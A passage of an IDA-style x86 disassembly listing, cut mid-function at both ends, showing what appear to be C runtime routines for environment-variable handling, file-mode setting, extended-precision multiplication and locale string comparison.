pop ecx
pop ecx
jmp short loc_425A68
; ---------------------------------------------------------------------------
loc_425A5A: ; CODE XREF: sub_425955+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_425A68
cmp edi, 4
jnz short loc_425A7B
loc_425A68: ; CODE XREF: sub_425955+103j
; sub_425955+10Cj
cmp edi, 8
mov dword_4DB350, ebx
jnz short loc_425A7B
mov eax, [ebp+arg_0]
mov dword_43C94C, eax
loc_425A7B: ; CODE XREF: sub_425955+111j
; sub_425955+11Cj
xor eax, eax
pop ebx
loc_425A7E: ; CODE XREF: sub_425955+2Cj
; sub_425955+79j
pop edi
pop esi
pop ebp
retn
sub_425955 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_425A82 proc near ; CODE XREF: sub_425955+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43C948
cmp dword_43C8CC, edx
push esi
mov eax, offset dword_43C8C8
jz short loc_425AB0
lea esi, [ecx+ecx*2]
lea esi, ds:43C8C8h[esi*4]
loc_425AA4: ; CODE XREF: sub_425A82+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_425AB0
cmp [eax+4], edx
jnz short loc_425AA4
loc_425AB0: ; CODE XREF: sub_425A82+16j
; sub_425A82+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43C8C8h[ecx*4]
cmp eax, ecx
jnb short loc_425AC4
cmp [eax+4], edx
jz short locret_425AC6
loc_425AC4: ; CODE XREF: sub_425A82+3Bj
xor eax, eax
locret_425AC6: ; CODE XREF: sub_425A82+40j
retn
sub_425A82 endp
; =============== S U B R O U T I N E =======================================
sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p
arg_0 = dword ptr 4
cmp dword_4DC910, 0
push ebx
push esi
mov esi, dword_4DB2A0
push edi
jz short loc_425B3E
test esi, esi
jnz short loc_425AF8
cmp dword_4DB2A8, esi
jz short loc_425B3E
call sub_425E95
test eax, eax
jnz short loc_425B3E
mov esi, dword_4DB2A0
test esi, esi
jz short loc_425B3E
loc_425AF8: ; CODE XREF: sub_425AC7+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_425B3E
push ebx
call sub_41AFE0
pop ecx
mov edi, eax
loc_425B09: ; CODE XREF: sub_425AC7+6Dj
mov eax, [esi]
test eax, eax
jz short loc_425B3E
push eax
call sub_41AFE0
cmp eax, edi
pop ecx
jbe short loc_425B31
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_425B31
push edi
push ebx
push eax
call sub_425E56
add esp, 0Ch
test eax, eax
jz short loc_425B36
loc_425B31: ; CODE XREF: sub_425AC7+51j
; sub_425AC7+59j
add esi, 4
jmp short loc_425B09
; ---------------------------------------------------------------------------
loc_425B36: ; CODE XREF: sub_425AC7+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_425B40
; ---------------------------------------------------------------------------
loc_425B3E: ; CODE XREF: sub_425AC7+10j
; sub_425AC7+1Cj ...
xor eax, eax
loc_425B40: ; CODE XREF: sub_425AC7+75j
pop edi
pop esi
pop ebx
retn
sub_425AC7 endp
; =============== S U B R O U T I N E =======================================
sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp
; sub_424F0A+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DC6C0
jnb short loc_425BAB
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DC5C0[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_425BAB
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_425B84
and cl, 7Fh
jmp short loc_425B91
; ---------------------------------------------------------------------------
loc_425B84: ; CODE XREF: sub_425B44+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_425B9F
or cl, 80h
loc_425B91: ; CODE XREF: sub_425B44+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_425B9F: ; CODE XREF: sub_425B44+48j
mov dword_4DB278, 16h
jmp short loc_425BB5
; ---------------------------------------------------------------------------
loc_425BAB: ; CODE XREF: sub_425B44+Bj
; sub_425B44+27j
mov dword_4DB278, 9
loc_425BB5: ; CODE XREF: sub_425B44+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_425B44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425BBA proc near ; CODE XREF: sub_4256C2+165p
; sub_425DDA+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_425DBA
cmp cx, 7FFFh
jnb loc_425DBA
cmp dx, 0BFFDh
ja loc_425DBA
cmp dx, 3FBFh
ja short loc_425C23
xor eax, eax
jmp short loc_425C5D
; ---------------------------------------------------------------------------
loc_425C23: ; CODE XREF: sub_425BBA+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_425C45
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_425C45
xor eax, eax
cmp [esi+4], eax
jnz short loc_425C47
cmp [esi], eax
jnz short loc_425C47
jmp loc_425DB4
; ---------------------------------------------------------------------------
loc_425C45: ; CODE XREF: sub_425BBA+71j
; sub_425BBA+79j
xor eax, eax
loc_425C47: ; CODE XREF: sub_425BBA+80j
; sub_425BBA+84j
cmp cx, ax
jnz short loc_425C6A
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_425C6A
cmp [ebx+4], eax
jnz short loc_425C6A
cmp [ebx], eax
jnz short loc_425C6A
loc_425C5D: ; CODE XREF: sub_425BBA+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_425DD5
; ---------------------------------------------------------------------------
loc_425C6A: ; CODE XREF: sub_425BBA+90j
; sub_425BBA+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_425C7A: ; CODE XREF: sub_425BBA+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_425CCE
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_425C96: ; CODE XREF: sub_425BBA+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_425CC1
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_425CC1: ; CODE XREF: sub_425BBA+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_425C96
loc_425CCE: ; CODE XREF: sub_425BBA+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_425C7A
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_425D11
loc_425CEC: ; CODE XREF: sub_425BBA+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_425D0A
lea eax, [ebp+var_24]
push eax
call sub_4250CF
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_425CEC
loc_425D0A: ; CODE XREF: sub_425BBA+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_425D4A
loc_425D11: ; CODE XREF: sub_425BBA+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_425D4A
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_425D2A: ; CODE XREF: sub_425BBA+184j
test byte ptr [ebp+var_24], 1
jz short loc_425D33
inc [ebp+var_14]
loc_425D33: ; CODE XREF: sub_425BBA+174j
lea eax, [ebp+var_24]
push eax
call sub_4250FD
dec ebx
pop ecx
jnz short loc_425D2A
cmp [ebp+var_14], 0
jz short loc_425D4A
or byte ptr [ebp+var_24], 1
loc_425D4A: ; CODE XREF: sub_425BBA+155j
; sub_425BBA+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_425D61
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_425D96
loc_425D61: ; CODE XREF: sub_425BBA+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_425D93
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_425D8E
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_425D88
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_425D96
; ---------------------------------------------------------------------------
loc_425D88: ; CODE XREF: sub_425BBA+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_425D96
; ---------------------------------------------------------------------------
loc_425D8E: ; CODE XREF: sub_425BBA+1B5j
inc [ebp+var_20+2]
jmp short loc_425D96
; ---------------------------------------------------------------------------
loc_425D93: ; CODE XREF: sub_425BBA+1ABj
inc [ebp+var_24+2]
loc_425D96: ; CODE XREF: sub_425BBA+1A5j
; sub_425BBA+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_425DBA
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_425DB4: ; CODE XREF: sub_425BBA+86j
mov [esi+0Ah], ax
jmp short loc_425DD5
; ---------------------------------------------------------------------------
loc_425DBA: ; CODE XREF: sub_425BBA+42j
; sub_425BBA+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_425DD5: ; CODE XREF: sub_425BBA+ABj
; sub_425BBA+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_425BBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425DDA proc near ; CODE XREF: sub_4251F1+440p
; sub_4256C2+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43CDC8
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_425E53
jge short loc_425E02
mov eax, [ebp+arg_4]
mov ebx, offset dword_43CF28
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_425E02: ; CODE XREF: sub_425DDA+16j
cmp [ebp+arg_8], ecx
jnz short loc_425E0D
mov eax, [ebp+arg_0]
mov [eax], cx
loc_425E0D: ; CODE XREF: sub_425DDA+2Bj
cmp [ebp+arg_4], ecx
jz short loc_425E53
push esi
push edi
loc_425E14: ; CODE XREF: sub_425DDA+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_425E4C
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_425E3F
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_425E3F: ; CODE XREF: sub_425DDA+57j
push esi
push [ebp+arg_0]
call sub_425BBA
pop ecx
pop ecx
xor ecx, ecx
loc_425E4C: ; CODE XREF: sub_425DDA+49j
cmp [ebp+arg_4], ecx
jnz short loc_425E14
pop edi
pop esi
loc_425E53: ; CODE XREF: sub_425DDA+14j
; sub_425DDA+36j
pop ebx
leave
retn
sub_425DDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep
; sub_426332+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_425E63
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_425E63: ; CODE XREF: sub_425E56+7j
push dword_4DC6C4
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_4DC8E4
call sub_425F03
add esp, 1Ch
test eax, eax
jnz short loc_425E90
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_425E90: ; CODE XREF: sub_425E56+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_425E56 endp
; =============== S U B R O U T I N E =======================================
sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep
; sub_4261AB+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_4DB2A8
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_425EF6
mov ebx, dword_42717C
loc_425EAE: ; CODE XREF: sub_425E95+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx
mov ebp, eax
cmp ebp, edi
jz short loc_425EFE
push ebp
call sub_41B4D5
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_425EFE
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx
test eax, eax
jz short loc_425EFE
push edi
push [esp+18h+var_4]
call sub_4261AB
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_425EAE
loc_425EF6: ; CODE XREF: sub_425E95+11j
xor eax, eax
loc_425EF8: ; CODE XREF: sub_425E95+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_425EFE: ; CODE XREF: sub_425E95+29j
; sub_425E95+38j ...
or eax, 0FFFFFFFFh
jmp short loc_425EF8
sub_425E95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425F03 proc near ; CODE XREF: sub_425E56+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427CF0
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_4DB588, ebx
push 1
pop edi
jnz short loc_425F76
push edi
mov eax, offset dword_427940
push eax
push edi
push eax
push ebx
push ebx
nop
call near ptr 25E0000h
test eax, eax
jz short loc_425F53
mov dword_4DB588, edi
jmp short loc_425F76
; ---------------------------------------------------------------------------
loc_425F53: ; CODE XREF: sub_425F03+46j
push edi
mov eax, offset dword_4CAE2C
push eax
push edi
push eax
push ebx
push ebx
call near ptr 25E06E5h
nop
test eax, eax
jz loc_42616C
mov dword_4DB588, 2
loc_425F76: ; CODE XREF: sub_425F03+31j
; sub_425F03+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_425F8D
push esi
push [ebp+arg_8]
call sub_426180
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_425F8D: ; CODE XREF: sub_425F03+78j
cmp [ebp+arg_14], ebx
jle short loc_425FA2
push [ebp+arg_14]
push [ebp+arg_10]
call sub_426180
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_425FA2: ; CODE XREF: sub_425F03+8Dj
mov eax, dword_4DB588
cmp eax, 2
jnz short loc_425FC7
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 25E06E5h
nop
jmp loc_42616E
; ---------------------------------------------------------------------------
loc_425FC7: ; CODE XREF: sub_425F03+A7j
cmp eax, edi
jnz loc_42616C
cmp [ebp+arg_18], ebx
jnz short loc_425FDC
mov eax, dword_4DB344
mov [ebp+arg_18], eax
loc_425FDC: ; CODE XREF: sub_425F03+CFj
cmp esi, ebx
jz short loc_425FE9
cmp [ebp+arg_14], ebx
jnz loc_426081
loc_425FE9: ; CODE XREF: sub_425F03+DBj
cmp esi, [ebp+arg_14]
jnz short loc_425FF6
loc_425FEE: ; CODE XREF: sub_425F03+13Cj
; sub_425F03+16Dj
push 2
loc_425FF0: ; CODE XREF: sub_425F03+146j
pop eax
jmp loc_42616E
; ---------------------------------------------------------------------------
loc_425FF6: ; CODE XREF: sub_425F03+E9j
cmp [ebp+arg_14], edi
jle short loc_426002
loc_425FFB: ; CODE XREF: sub_425F03+151j
; sub_425F03+159j ...
mov eax, edi
jmp loc_42616E
; ---------------------------------------------------------------------------
loc_426002: ; CODE XREF: sub_425F03+F6j
cmp esi, edi
jg short loc_426047
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
nop
call near ptr 28B0000h
test eax, eax
jz loc_42616C
cmp esi, ebx
jle short loc_42604B
cmp [ebp+var_3C], 2
jb short loc_426047
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_426047
loc_42602D: ; CODE XREF: sub_425F03+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_426047
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_426041
cmp cl, dl
jbe short loc_425FEE
loc_426041: ; CODE XREF: sub_425F03+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_42602D
loc_426047: ; CODE XREF: sub_425F03+101j
; sub_425F03+120j ...
push 3
jmp short loc_425FF0
; ---------------------------------------------------------------------------
loc_42604B: ; CODE XREF: sub_425F03+11Aj
cmp [ebp+arg_14], ebx
jle short loc_426081
cmp [ebp+var_3C], 2
jb short loc_425FFB
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_425FFB
loc_42605E: ; CODE XREF: sub_425F03+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_425FFB
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_426076
cmp cl, dl
jbe loc_425FEE
loc_426076: ; CODE XREF: sub_425F03+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_42605E
jmp loc_425FFB
; ---------------------------------------------------------------------------
loc_426081: ; CODE XREF: sub_425F03+E0j
; sub_425F03+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
nop
call near ptr 2820000h
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_42616C
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4260D0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_4260D0: ; CODE XREF: sub_425F03+1B5j
cmp [ebp+var_24], ebx
jz loc_42616C
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_427180
call esi
test eax, eax
jz short loc_42616C
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_42616C
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42613B
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_42613B: ; CODE XREF: sub_425F03+224j
cmp edi, ebx
jz short loc_42616C
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
nop
call near ptr 2820000h
test eax, eax
jz short loc_42616C
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 25E0000h
nop
jmp short loc_42616E
; ---------------------------------------------------------------------------
loc_42616C: ; CODE XREF: sub_425F03+63j
; sub_425F03+C6j ...
xor eax, eax
loc_42616E: ; CODE XREF: sub_425F03+BFj
; sub_425F03+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_425F03 endp
; =============== S U B R O U T I N E =======================================
sub_426180 proc near ; CODE XREF: sub_422ACA+81p
; sub_425F03+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_42619D
loc_426190: ; CODE XREF: sub_426180+1Bj
cmp byte ptr [eax], 0
jz short loc_42619D
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_426190
loc_42619D: ; CODE XREF: sub_426180+Ej
; sub_426180+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_4261A8
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4261A8: ; CODE XREF: sub_426180+21j
mov eax, edx
retn
sub_426180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4261AB proc near ; CODE XREF: sub_425E95+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_42620F
push 3Dh
push [ebp+arg_0]
call sub_4263F1
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_42620F
cmp [ebp+arg_0], esi
jz short loc_42620F
mov eax, dword_4DB2A0
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_4DB2A4
jnz short loc_4261F5
push eax
call sub_42638A
pop ecx
mov dword_4DB2A0, eax
loc_4261F5: ; CODE XREF: sub_4261AB+3Cj
cmp eax, edi
jnz short loc_42624D
cmp [ebp+arg_4], edi
jz short loc_426217
cmp dword_4DB2A8, edi
jz short loc_426217
call sub_425E95
test eax, eax
jz short loc_42624D
loc_42620F: ; CODE XREF: sub_4261AB+Dj
; sub_4261AB+22j ...
or eax, 0FFFFFFFFh
loc_426212: ; CODE XREF: sub_4261AB+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_426217: ; CODE XREF: sub_4261AB+51j
; sub_4261AB+59j
cmp ebx, edi
jnz loc_42632B
push 4
call sub_41B4D5
cmp eax, edi
pop ecx
mov dword_4DB2A0, eax
jz short loc_42620F
mov [eax], edi
cmp dword_4DB2A8, edi
jnz short loc_42624D
push 4
call sub_41B4D5
cmp eax, edi
pop ecx
mov dword_4DB2A8, eax
jz short loc_42620F
mov [eax], edi
loc_42624D: ; CODE XREF: sub_4261AB+4Cj
; sub_4261AB+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_4DB2A0
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_426332
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_4262AD
cmp dword ptr [edi], 0
jz short loc_4262AD
test ebx, ebx
jz short loc_4262A5
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_41B0B1
pop ecx
loc_42627F: ; CODE XREF: sub_4261AB+E2j
cmp dword ptr [edi], 0
jz short loc_42628F
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_42627F
; ---------------------------------------------------------------------------
loc_42628F: ; CODE XREF: sub_4261AB+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_41B202
pop ecx
test eax, eax
pop ecx
jz short loc_4262DF
jmp short loc_4262DA
; ---------------------------------------------------------------------------
loc_4262A5: ; CODE XREF: sub_4261AB+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_4262DF
; ---------------------------------------------------------------------------
loc_4262AD: ; CODE XREF: sub_4261AB+BDj
; sub_4261AB+C2j
test ebx, ebx
jnz short loc_42632B
test esi, esi
jge short loc_4262B7
neg esi
loc_4262B7: ; CODE XREF: sub_4261AB+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_41B202
pop ecx
test eax, eax
pop ecx
jz loc_42620F
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_4262DA: ; CODE XREF: sub_4261AB+F8j
mov dword_4DB2A0, eax
loc_4262DF: ; CODE XREF: sub_4261AB+F6j
; sub_4261AB+100j
cmp [ebp+arg_4], 0
jz short loc_42632B
push [ebp+arg_0]
call sub_41AFE0
inc eax
inc eax
push eax
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_42632B
push [ebp+arg_0]
push esi
call sub_41BEB0
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
nop
call near ptr 25D0000h
push esi
call sub_41B0B1
pop ecx
loc_42632B: ; CODE XREF: sub_4261AB+6Ej
; sub_4261AB+104j ...
xor eax, eax
jmp loc_426212
sub_4261AB endp
; =============== S U B R O U T I N E =======================================
sub_426332 proc near ; CODE XREF: sub_4261AB+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_4DB2A0
push edi
mov eax, [esi]
test eax, eax
jz short loc_42636D
mov edi, [esp+8+arg_4]
loc_426344: ; CODE XREF: sub_426332+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_425E56
add esp, 0Ch
test eax, eax
jnz short loc_426363
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_42637D
test al, al
jz short loc_42637D
loc_426363: ; CODE XREF: sub_426332+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_426344
loc_42636D: ; CODE XREF: sub_426332+Cj
mov eax, esi
sub eax, dword_4DB2A0
sar eax, 2
neg eax
loc_42637A: ; CODE XREF: sub_426332+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42637D: ; CODE XREF: sub_426332+2Bj
; sub_426332+2Fj
mov eax, esi
sub eax, dword_4DB2A0
sar eax, 2
jmp short loc_42637A
sub_426332 endp
; =============== S U B R O U T I N E =======================================
sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_426399
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_426399: ; CODE XREF: sub_42638A+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_4263AB
loc_4263A1: ; CODE XREF: sub_42638A+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_4263A1
loc_4263AB: ; CODE XREF: sub_42638A+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_4263CC
push 9
call sub_41DA29
pop ecx
loc_4263CC: ; CODE XREF: sub_42638A+38j
mov eax, [edi]
mov ebx, edi
loc_4263D0: ; CODE XREF: sub_42638A+5Bj
test eax, eax
jz short loc_4263E7
push eax
add ebx, 4
call sub_426464
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_4263D0
; ---------------------------------------------------------------------------
loc_4263E7: ; CODE XREF: sub_42638A+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_42638A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_4DC6DC, 0
jnz short loc_42640C
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41BFB0
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42640C: ; CODE XREF: sub_4263F1+Aj
